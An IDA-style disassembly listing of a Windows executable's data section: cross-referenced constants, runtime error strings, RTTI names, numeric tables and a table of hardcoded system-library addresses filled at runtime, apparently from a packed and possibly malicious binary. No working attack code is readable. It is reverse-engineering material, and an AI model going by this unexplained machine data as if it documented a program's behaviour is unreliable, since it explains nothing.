off_41FD54 dd offset sub_410798 ; DATA XREF: sub_40B8C1+5w
; sub_40D768+3E2r
off_41FD58 dd offset sub_4107FE ; DATA XREF: sub_40B8C1+14w
; sub_40DF72+430r
off_41FD5C dd offset sub_41073E ; DATA XREF: sub_40B8C1+1Ew
; sub_40D768+3CBr
off_41FD60 dd offset sub_4107E6 ; DATA XREF: sub_40B8C1+28w
off_41FD64 dd offset sub_410B03 ; DATA XREF: sub_40B8C1+32w
dd offset sub_413D3C
dd 0
dd offset sub_4113CC
off_41FD74 dd offset sub_4113CC ; DATA XREF: sub_411422+29r
off_41FD78 dd offset word_41FD82 ; DATA XREF: sub_40C324+23r
; sub_40C324:loc_40C385r ...
dd offset word_41FD82
db 2 dup(0)
word_41FD82 dw 20h ; DATA XREF: sub_414993+18r
; .nsp0:off_41FD78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_41FF84 dd 1 ; DATA XREF: sub_40C324:loc_40C32Cr
; sub_40C324:loc_40C370r ...
byte_41FF88 db 2Eh ; DATA XREF: sub_40DF72:loc_40E266r
; sub_40DF72+311r ...
align 4
dd 1
dword_41FF90 dd 1 ; DATA XREF: sub_411C26+Co
dword_41FF94 dd 16h ; DATA XREF: sub_411C26:loc_411C5Br
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_4200F8 db 1 ; DATA XREF: sub_411C26+19o
; sub_41203F+E1r
db 2, 4, 8
align 10h
dword_420100 dd 3A4h ; DATA XREF: sub_41203F+2Fo
dword_420104 dd 82798260h, 21h, 0 ; DATA XREF: sub_41203F+11Dr
dword_420110 dd 0DFA6h ; DATA XREF: sub_41203F+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4201F0 dd 0C0000005h ; DATA XREF: sub_41203F+3Co
; sub_4128A6+Ar ...
dword_4201F4 dd 0Bh ; DATA XREF: sub_415588+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_420268 dd 3 ; DATA XREF: sub_412765+58r
; sub_41545B+C8r
dword_42026C dd 7 ; DATA XREF: sub_412765+5Er
; sub_41545B+CDr
dword_420270 dd 0Ah ; DATA XREF: sub_4128A6+4r
; sub_415588+4r
dword_420274 dd 8Ch ; DATA XREF: sub_412765+82r
; sub_412765+8Fw ...
dword_420278 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_40D653:loc_40D710o
; sub_41176F:loc_4117F0o
dword_420280 dd 2 ; DATA XREF: sub_41303D+Eo
; sub_41303D+28r
off_420284 dd offset aR6002FloatingP ; DATA XREF: sub_41303D+FCr
; sub_41303D+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 417AB8h, 9, 417A8Ch, 0Ah, 417A68h, 10h, 417A3Ch
dd 11h, 417A0Ch, 12h, 4179E8h, 13h, 4179BCh, 18h, 417984h
dd 19h, 41795Ch, 1Ah, 417924h, 1Bh, 4178ECh, 1Ch, 4178C4h
dd 78h, 4178B4h, 79h, 4178A4h, 7Ah, 417894h, 0FCh, 417890h
dd 0FFh, 417880h
off_420310 dd offset dword_47FC20 ; DATA XREF: sub_41303D+1Bo
; sub_4133A7+55o
align 8
dd offset dword_47FC20
dd 101h
dword_420320 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4133A7+72o
dd 1000h, 0
dword_420330 dd 3 dup(0) ; DATA XREF: sub_40D653+50o
; sub_4124A9+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_420350 dd 3 dup(0) ; DATA XREF: sub_40D653+58o
; sub_4124A9:loc_4124C7o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_420380 dd 84h dup(0) ; DATA XREF: sub_4133A7+9Bo
dword_420590 dd 2694h ; DATA XREF: sub_40FE24+3r
; sub_40FE77+46r ...
align 8
dword_420598 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_413B1Co
dword_4205B0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_413B32o
dword_4205C8 dd 7080h ; DATA XREF: sub_411D59+76r
; sub_414438+5Ew ...
dword_4205CC dd 1 ; DATA XREF: sub_411D59+98r
; sub_414438+8Bw ...
dword_4205D0 dd 0FFFFF1F0h ; DATA XREF: sub_411D59:loc_411E0Br
; sub_414438+94w ...
dword_4205D4 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_420654o
dword_420614 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_420658o
off_420654 dd offset dword_4205D4 ; DATA XREF: sub_414438+BAr
; sub_414438+D9r ...
off_420658 dd offset dword_420614 ; DATA XREF: sub_414438+F4r
; sub_414438+11Br ...
align 10h
dword_420660 dd 0FFFFFFFFh ; DATA XREF: sub_414438+1Dw
; sub_414696+1Er ...
dword_420664 dd 0 ; DATA XREF: sub_414696:loc_4147CAr
; sub_414842+BFw
dword_420668 dd 0 ; DATA XREF: sub_414696+192r
; sub_414842+E0w
align 10h
dword_420670 dd 0FFFFFFFFh ; DATA XREF: sub_414438+17w
; sub_414696+26r ...
dword_420674 dd 0 ; DATA XREF: sub_414696+13Ar
; sub_414842+EAw ...
dword_420678 dd 0 ; DATA XREF: sub_414696+1A1r
; sub_414842+23r ...
dword_42067C dd 0FFFFFFFFh ; DATA XREF: sub_414842+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_4206AC dd 16Dh ; DATA XREF: sub_411D59+2Ar
; sub_414842+2Er ...
dword_4206B0 dd 0FFFFFFFFh ; DATA XREF: sub_414842:loc_4148CEr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_4206E8 dd 2 dup(0) ; DATA XREF: sub_4159B0+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_420848 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4159B0+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_4209A8 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417CD0o
; .nsp0:00417DFCo ...
align 10h
a_?avexception@ db '.?AVexception@@',0
off_4209C0 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417CE8o
; .nsp0:00417D7Co ...
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_4209E0 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417D00o
; .nsp0:00417D44o ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_420A00 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417D88o
; .nsp0:00417DCCo ...
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
off_420A20 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417E08o
; .nsp0:00417E44o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_413D3C
align 10h
dword_420A40 dd 0 ; DATA XREF: sub_4010CA+18r
; sub_401412+92w ...
dword_420A44 dd 0 ; DATA XREF: sub_40154B+19Cr
; sub_401704+D9w ...
dd 4AEh dup(0)
dword_421D00 dd 6 dup(0) ; DATA XREF: sub_40154B+95o
; sub_401704+65o ...
dword_421D18 dd 0 ; DATA XREF: sub_401141+82w
; sub_401141+FFo
dword_421D1C dd 41h dup(0) ; DATA XREF: sub_401141+41o
dword_421E20 dd 41h dup(0) ; DATA XREF: sub_401141+63o
dword_421F24 dd 0 ; DATA XREF: sub_401141+F5w
; sub_401141+111r
dword_421F28 dd 0 ; DATA XREF: sub_401141+52w
dword_421F2C dd 0 ; DATA XREF: sub_401141+4Dw
; sub_401141+D2r
dword_421F30 dd 20h dup(0) ; DATA XREF: sub_401141+9Ao
; sub_401141+B7o
dword_421FB0 dd 0 ; DATA XREF: sub_401141+8Fw
dword_421FB4 dd 0 ; DATA XREF: sub_401141+A4w
; sub_401141+C1w
dword_421FB8 dd 0 ; DATA XREF: sub_401141:loc_401307r
align 10h
dword_421FC0 dd 0 ; DATA XREF: sub_401141+190w
; sub_401141+222o
dword_421FC4 dd 41h dup(0) ; DATA XREF: sub_401141+152o
dword_4220C8 dd 41h dup(0) ; DATA XREF: sub_401141+171o
dword_4221CC dd 0 ; DATA XREF: sub_401141+218w
; sub_401141+234r
dword_4221D0 dd 0 ; DATA XREF: sub_401141+160w
dword_4221D4 dd 0 ; DATA XREF: sub_401141+1F5r
dword_4221D8 dd 20h dup(0) ; DATA XREF: sub_401141+1A8o
; sub_401141+1DAo
dword_422258 dd 0 ; DATA XREF: sub_401141+19Dw
dword_42225C dd 0 ; DATA XREF: sub_401141+1B2w
; sub_401141+1E4w
dword_422260 dd 0 ; DATA XREF: sub_401141:loc_4013C0r
dword_422264 dd 2 dup(0) ; DATA XREF: sub_401FE1+68o
dword_42226C dd 0 ; DATA XREF: sub_401A91+13o
; sub_406BAB+33BFo ...
byte_422270 db 0 ; DATA XREF: sub_4022FD+10o
; sub_4032EE+438o ...
align 8
dword_422278 dd 2400h dup(0) ; DATA XREF: sub_403145+1Do
dword_42B278 dd 0Dh dup(0) ; DATA XREF: sub_403145+13o
; sub_403804+Fo
dword_42B2AC dd 0 ; DATA XREF: sub_403B83+C8o
dword_42B2B0 dd 0 ; DATA XREF: sub_4043F8+2Aw
; sub_4043F8+51r ...
dword_42B2B4 dd 0 ; DATA XREF: sub_4023B8+45r
; sub_402E09+ACr ...
dword_42B2B8 dd 77C72C6Bh ; DATA XREF: sub_4045F0+42Fw
; sub_4045F0+473r
dword_42B2BC dd 77EBA994h ; DATA XREF: sub_4045F0+65w
; sub_405816+EEr
dword_42B2C0 dd 7622A3F4h ; DATA XREF: sub_4045F0+786w
; sub_4045F0+7FBr ...
dword_42B2C4 dd 71C45229h ; DATA XREF: sub_4045F0+910w
; sub_4045F0+96Er
dword_42B2C8 dd 71C24870h ; DATA XREF: sub_4045F0+8C2w
; sub_4045F0+93Er
dword_42B2CC dd 77C71BB0h ; DATA XREF: sub_4045F0+415w
; sub_4045F0+463r
dword_42B2D0 dd 71C4502Ch ; DATA XREF: sub_4045F0+903w
; sub_4045F0+966r
dword_42B2D4 dd 77DE801Bh ; DATA XREF: sub_4045F0+2FAw
; sub_4045F0+34Fr
dword_42B2D8 dd 77DDACABh ; DATA XREF: sub_4045F0+397w
; sub_40A1F9+11Er
dword_42B2DC dd 77DE8075h ; DATA XREF: sub_4045F0+307w
; sub_4045F0+357r
dword_42B2E0 dd 77DD7496h ; DATA XREF: sub_4045F0+348w
dword_42B2E4 dd 71AB1B7Bh ; DATA XREF: sub_4045F0+4E0w
dword_42B2E8 dd 77E686CCh ; DATA XREF: sub_4038CB+1Br
; sub_4045F0+72w ...
dword_42B2EC dd 71C2498Bh ; DATA XREF: sub_4045F0+8B5w
; sub_4045F0+931r
dword_42B2F0 dd 77DDAB2Fh ; DATA XREF: sub_4045F0+32Ew
; sub_4045F0+36Fr
dword_42B2F4 dd 7620E8C3h ; DATA XREF: sub_4045F0+7D4w
; sub_4045F0+827r
dword_42B2F8 dd 77DD23D7h ; DATA XREF: sub_4045F0+24Bw
; sub_4045F0+27Cr
dword_42B2FC dd 76214750h ; DATA XREF: sub_4032EE+3Ar
; sub_4045F0+7C7w ...
dword_42B300 dd 77E6D75Bh ; DATA XREF: sub_4045F0+B3w
dword_42B304 dd 7620BD61h ; DATA XREF: sub_4032EE+109r
; sub_4045F0+7E1w ...
dword_42B308 dd 71AB60C9h ; DATA XREF: sub_4045F0+4D3w
; sub_4045F0+656r ...
dword_42B30C dd 77EBA6E9h ; DATA XREF: sub_4045F0+58w
; sub_4045F0+CAr ...
dword_42B310 dd 76F36EAAh ; DATA XREF: sub_4045F0+9BCw
; sub_4045F0+9C3r ...
dword_42B314 dd 77E802FCh ; DATA XREF: sub_4045F0+A6w
; sub_4045F0+F2r
dword_42B318 dd 77C75455h ; DATA XREF: sub_4045F0+408w
; sub_4045F0+45Br
dword_42B31C dd 71AB12A7h ; DATA XREF: sub_4013CA+20r
; sub_4045F0+57Cw ...
dword_42B320 dd 71C574FAh ; DATA XREF: sub_4045F0+8F6w
; sub_4045F0+95Er
dword_42B324 dd 71AB1746h ; DATA XREF: sub_4045F0+56Fw
; sub_4045F0+6D2r
dword_42B328 dd 71B28D0Dh ; DATA XREF: sub_4045F0+A77w
dword_42B32C dd 762211EFh ; DATA XREF: sub_4045F0+779w
; sub_4045F0+7E8r
dword_42B330 dd 77D902E3h ; DATA XREF: sub_4045F0+1B3w
; sub_4054A5+15r
dword_42B334 dd 71C2FA86h ; DATA XREF: sub_4045F0+8CFw
; sub_4045F0+946r
dword_42B338 dd 77DE1291h ; DATA XREF: sub_4045F0+314w
; sub_4045F0+35Fr
dword_42B33C dd 77E2C1B3h ; DATA XREF: sub_4045F0+321w
; sub_4045F0+367r
dword_42B340 dd 71ABF628h ; DATA XREF: sub_4045F0+632w
dword_42B344 dd 71AB1836h ; DATA XREF: sub_4032EE+459r
; sub_403B83+1Dr ...
dword_42B348 dd 77C72889h ; DATA XREF: sub_4045F0+43Cw
dword_42B34C dd 71C453F8h ; DATA XREF: sub_4045F0+91Dw
; sub_4045F0+976r
dword_42B350 dd 77DD5C55h ; DATA XREF: sub_4031BC+55r
; sub_4045F0+258w ...
dword_42B354 dd 77E96645h ; DATA XREF: sub_403B00+25r
; sub_403B00+39r ...
dword_42B358 dd 77428B97h ; DATA XREF: sub_4032EE+331r
; sub_4045F0+AC4w ...
dword_42B35C dd 71AB41DAh ; DATA XREF: sub_4045F0+4B9w
; sub_4045F0+639r ...
dword_42B360 dd 762059A3h ; DATA XREF: sub_4045F0+7A0w
; sub_4045F0+80Br
dword_42B364 dd 71C4A1B4h ; DATA XREF: sub_4045F0+8DCw
; sub_4045F0+94Er
dword_42B368 dd 1F7CD214h ; DATA XREF: sub_4045F0+B35w
; sub_4045F0+B66r
dword_42B36C dd 1F7B9D96h ; DATA XREF: sub_4045F0+B4Fw
dword_42B370 dd 71AB1740h ; DATA XREF: sub_4045F0+4FAw
; sub_4045F0+66Er ...
dword_42B374 dd 7620AFB6h ; DATA XREF: sub_4045F0+7BAw
; sub_4045F0+7EEr
dword_42B378 dd 77D45B19h ; DATA XREF: sub_4045F0+172w
; sub_4045F0+1C2r
dword_42B37C dd 71AB157Eh ; DATA XREF: sub_4045F0+5FEw
; sub_4045F0+722r ...
dword_42B380 dd 71AB3E5Dh ; DATA XREF: sub_4014AE+59r
; sub_4023B8+F4r ...
dword_42B384 dd 71AB14DCh ; DATA XREF: sub_4045F0+4EDw
; sub_4045F0+662r
dword_42B388 dd 0CC0004h ; DATA XREF: sub_4032EE+34r
; sub_4045F0+856w ...
dword_42B38C dd 77DD590Bh ; DATA XREF: sub_4031BC+2Ar
; sub_4045F0+231w ...
dword_42B390 dd 71ABD755h ; DATA XREF: sub_4045F0+625w
; sub_4045F0+73Ar ...
dword_42B394 dd 77DF7311h ; DATA XREF: sub_4045F0+2B5w
; sub_4045F0+2C9r ...
dword_42B398 dd 77DDA2AFh ; DATA XREF: sub_4045F0+33Bw
; sub_4045F0+377r
dword_42B39C dd 1F7CD927h ; DATA XREF: sub_4045F0+B28w
; sub_4045F0+B5Er
dword_42B3A0 dd 76206853h ; DATA XREF: sub_4045F0+793w
; sub_4045F0+803r
dword_42B3A4 dd 77D5E310h ; DATA XREF: sub_4045F0+18Cw
; sub_4045F0+1D2r ...
dword_42B3A8 dd 76206B7Fh ; DATA XREF: sub_4045F0+7ADw
; sub_4045F0+813r
dword_42B3AC dd 71AB1444h ; DATA XREF: sub_4045F0+5AAw
; sub_4045F0+6F2r ...
dword_42B3B0 dd 77DD189Ah ; DATA XREF: sub_4031BC+5Er
; sub_4045F0+265w
dword_42B3B4 dd 71AB3F8Dh ; DATA XREF: sub_4045F0+5F1w
; sub_4045F0+71Ar
dword_42B3B8 dd 77DD5D20h ; DATA XREF: sub_4045F0+2A8w
; sub_4045F0+2BCr ...
dword_42B3BC dd 71AB1890h ; DATA XREF: sub_4014AE+82r
; sub_4045F0+5CAw ...
dword_42B3C0 dd 77C76B34h ; DATA XREF: sub_4045F0+3D4w
; sub_4045F0+436r
dword_42B3C4 dd 77D5E38Ch ; DATA XREF: sub_4045F0+199w
; sub_4045F0+1DAr ...
dword_42B3C8 dd 77DDA20Bh ; DATA XREF: sub_4045F0+2EDw
; sub_4045F0+342r
dword_42B3CC dd 76F36EEBh ; DATA XREF: sub_4045F0+9C9w
dword_42B3D0 dd 71AB12A7h ; DATA XREF: sub_4013CA+2Br
; sub_401F9C+7r ...
dword_42B3D4 dd 71AB1746h ; DATA XREF: sub_4014AE+38r
; sub_4023B8+D6r ...
dword_42B3D8 dd 77EBA595h ; DATA XREF: sub_4045F0+4Bw
; sub_4045F0+C2r ...
dword_42B3DC dd 77C7531Dh ; DATA XREF: sub_4045F0+3FBw
; sub_4045F0+453r
dword_42B3E0 dd 77D4BDCAh ; DATA XREF: sub_4045F0+165w
; sub_4045F0+1BAr ...
dword_42B3E4 dd 71C3516Ah ; DATA XREF: sub_4045F0+937w
dword_42B3E8 dd 71AB32CAh ; DATA XREF: sub_4045F0+60Bw
; sub_4045F0+72Ar
dword_42B3EC dd 71AB5690h ; DATA XREF: sub_401F1D+75r
; sub_402E09+79r ...
dword_42B3F0 dd 1F7CB8F8h ; DATA XREF: sub_4045F0+B42w
; sub_4045F0+B6Er
dword_42B3F4 dd 77EBB1E7h ; DATA XREF: sub_4045F0+3Ew
; sub_4045F0+BAr ...
dword_42B3F8 dd 77DD59F0h ; DATA XREF: sub_4031BC+49r
; sub_4045F0+23Ew ...
dword_42B3FC dd 71AB5DE2h ; DATA XREF: sub_4045F0+5D7w
; sub_4045F0+70Ar ...
dword_42B400 dd 71AB3ECEh ; DATA XREF: sub_4045F0+5BDw
; sub_4045F0+6FAr ...
dword_42B404 dd 76204E4Dh ; DATA XREF: sub_4032EE+4C9r
; sub_4045F0+7F4w
dword_42B408 dd 0 ; DATA XREF: sub_4045F0+112w
dword_42B40C dd 1F7D886Ah ; DATA XREF: sub_4045F0+B0Ew
; sub_4045F0+B49r
dword_42B410 dd 71AB12F8h ; DATA XREF: sub_401704+2Cr
; sub_4023B8+E4r ...
dword_42B414 dd 77C76551h ; DATA XREF: sub_4045F0+3E1w
; sub_4045F0+443r
dword_42B418 dd 77C729E2h ; DATA XREF: sub_4045F0+422w
; sub_4045F0+46Br
dword_42B41C dd 77C7212Fh ; DATA XREF: sub_4045F0+3EEw
; sub_4045F0+44Br
dword_42B420 dd 71AB1AF4h ; DATA XREF: sub_401F9C+1Br
; sub_401F9C+35r ...
dword_42B424 dd 77D5E303h ; DATA XREF: sub_4045F0+1A6w
; sub_4045F0+1E2r ...
dword_42B428 dd 71C4576Ch ; DATA XREF: sub_4045F0+92Aw
; sub_4045F0+97Er
dword_42B42C dd 77D4702Fh ; DATA XREF: sub_4045F0+158w
; sub_4045F0+1ADr ...
dword_42B430 dd 77E6C0E3h ; DATA XREF: sub_403882+4r
; sub_4045F0+8Cw ...
dword_42B434 dd 71AB1ED3h ; DATA XREF: sub_4045F0+596w
; sub_4045F0+6E2r ...
dword_42B438 dd 71B2A381h ; DATA XREF: sub_4045F0+A6Aw
; sub_4045F0+A86r
dword_42B43C dd 77DDA595h ; DATA XREF: sub_4045F0+2C2w
; sub_4057AB+55r
dword_42B440 dd 77DD22EAh ; DATA XREF: sub_4045F0+224w
; sub_4045F0+25Fr
dword_42B444 dd 773F97B0h ; DATA XREF: sub_4045F0+AD1w
dword_42B448 dd 76D67A29h ; DATA XREF: sub_4045F0+A13w
; sub_405687+8Fr
dword_42B44C dd 76D674FAh ; DATA XREF: sub_4045F0+A06w
; sub_4045F0+A0Dr ...
dword_42B450 dd 71AB3C22h ; DATA XREF: sub_4014AE+18r
; sub_402E09+44r ...
dword_42B454 dd 71AB2BBFh ; DATA XREF: sub_4045F0+618w
; sub_4045F0+732r ...
dword_42B458 dd 1F7BA3A9h ; DATA XREF: sub_4045F0+B1Bw
; sub_4045F0+B56r
dword_42B45C dd 71AB401Ch ; DATA XREF: sub_4010CA+1Fr
; sub_40154B+E1r ...
dword_42B460 dd 71C214BAh ; DATA XREF: sub_4045F0+8E9w
; sub_4045F0+956r
dword_42B464 dd 71AB868Dh ; DATA XREF: sub_4045F0+5E4w
; sub_4045F0+712r ...
dword_42B468 dd 71AB1A6Dh ; DATA XREF: sub_4014AE+8Br
; sub_4023B8+185r ...
dword_42B46C dd 71AB155Ah ; DATA XREF: sub_4014AE+4Cr
; sub_4045F0+521w ...
dword_42B470 dd 71B22C25h ; DATA XREF: sub_4045F0+A5Dw
; sub_4045F0+A7Er
dword_42B474 dd 71AB5A01h ; DATA XREF: sub_4045F0+4C6w
; sub_4045F0+64Ar
dword_42B478 dd 71B2ACCBh ; DATA XREF: sub_4045F0+A50w
; sub_4045F0+A71r
dword_42B47C dd 77E78C17h ; DATA XREF: sub_4045F0+31w
; sub_4045F0+ADr ...
dword_42B480 dd 77D49A11h ; DATA XREF: sub_4045F0+17Fw
; sub_4045F0+1CAr
dword_42B484 dd 77E6CBF9h ; DATA XREF: sub_4045F0+99w
; sub_4045F0+EAr ...
dword_42B488 dd 0 ; DATA XREF: sub_4045F0:loc_4046EEw
; sub_4045F0+12Bw
dword_42B48C dd 0 ; DATA XREF: sub_4045F0+126w
dword_42B490 dd 0 ; DATA XREF: sub_4045F0:loc_4047EBw
dword_42B494 dd 0 ; DATA XREF: sub_4045F0+1F6w
dword_42B498 dd 0 ; DATA XREF: sub_4045F0:loc_404880w
; sub_4045F0:loc_4048C5w ...
dword_42B49C dd 0 ; DATA XREF: sub_4045F0+3A6w
dword_42B4A0 dd 0 ; DATA XREF: sub_4045F0:loc_404A7Cw
dword_42B4A4 dd 0 ; DATA XREF: sub_4045F0+487w
dword_42B4A8 dd 0 ; DATA XREF: sub_4045F0:loc_404D36w
; sub_4045F0+86Cw
dword_42B4AC dd 0 ; DATA XREF: sub_4045F0+867w
dword_42B4B0 dd 0 ; DATA XREF: sub_4045F0:loc_404E2Bw
; sub_4045F0+882w ...
dword_42B4B4 dd 0 ; DATA XREF: sub_4045F0+87Dw
align 10h
dword_42B4C0 dd 0 ; DATA XREF: sub_4045F0:loc_404F83w
dword_42B4C4 dd 0 ; DATA XREF: sub_4045F0+98Ew
dword_42B4C8 dd 0 ; DATA XREF: sub_4045F0:loc_404FCDw
dword_42B4CC dd 0 ; DATA XREF: sub_4045F0+9D8w
dword_42B4D0 dd 0 ; DATA XREF: sub_4045F0:loc_405017w
dword_42B4D4 dd 0 ; DATA XREF: sub_4045F0+A22w
dword_42B4D8 dd 0 ; DATA XREF: sub_4045F0:loc_40508Bw
dword_42B4DC dd 0 ; DATA XREF: sub_4045F0+A96w
dword_42B4E0 dd 0 ; DATA XREF: sub_4045F0:loc_4050D5w
dword_42B4E4 dd 0 ; DATA XREF: sub_4045F0+AE0w
dword_42B4E8 dd 0 ; DATA XREF: sub_4045F0:loc_405173w
dword_42B4EC dd 0 ; DATA XREF: sub_4045F0+B7Ew
dd 2 dup(0)
dword_42B4F8 dd 2B4h dup(0) ; DATA XREF: sub_4052BA+6Ao
dword_42BFC8 dd 4 dup(0) ; DATA XREF: sub_405752+32o
dword_42BFD8 dd 82h dup(0) ; DATA XREF: sub_406264+8Do
dword_42C1E0 dd 0 ; DATA XREF: sub_40304D+Ao
; sub_40304D+44r ...
dd 5 dup(0)
dword_42C1F8 dd 0 ; DATA XREF: sub_40304D+60r
; sub_406BAB+87Cr
dd 2D9h dup(0)
dword_42CD60 dd 0 ; DATA XREF: sub_40154B+6Br
; sub_40304D+2Do ...
dd 7Fh dup(0)
dword_42CF60 dd 0 ; DATA XREF: sub_40AA54+4Cw
; sub_40AB8F+3Aw ...
dword_42CF64 dd 0 ; DATA XREF: sub_40154B:loc_4016E1r
; sub_401704+12Cw ...
dword_42CF68 dd 0 ; DATA XREF: sub_40AA54+45w
; sub_40AB8F+34r ...
dword_42CF6C dd 0 ; DATA XREF: sub_403B83+Cr
; sub_405AD8+7Bw ...
dword_42CF70 dd 0 ; DATA XREF: sub_405C55+11Ew
; sub_405E27+53r ...
dword_42CF74 dd 0 ; DATA XREF: sub_401141+11Fw
; sub_401141+244w ...
byte_42CF78 db 0 ; DATA XREF: sub_4068DA+91o
; sub_40AA54+59w ...
align 4
dd 61F5h dup(0)
dword_445750 dd 0E7FCh dup(0) ; DATA XREF: .nsp0:off_41B280o
dword_47F740 dd 1Bh ; DATA XREF: sub_401000:loc_40106Er
; sub_406422+42w ...
align 8
dword_47F748 dd 0 ; DATA XREF: sub_406422+3E4o
dword_47F74C dd 20h dup(0) ; DATA XREF: sub_406422+391o
dword_47F7CC dd 10h dup(0) ; DATA XREF: sub_406422+3A8o
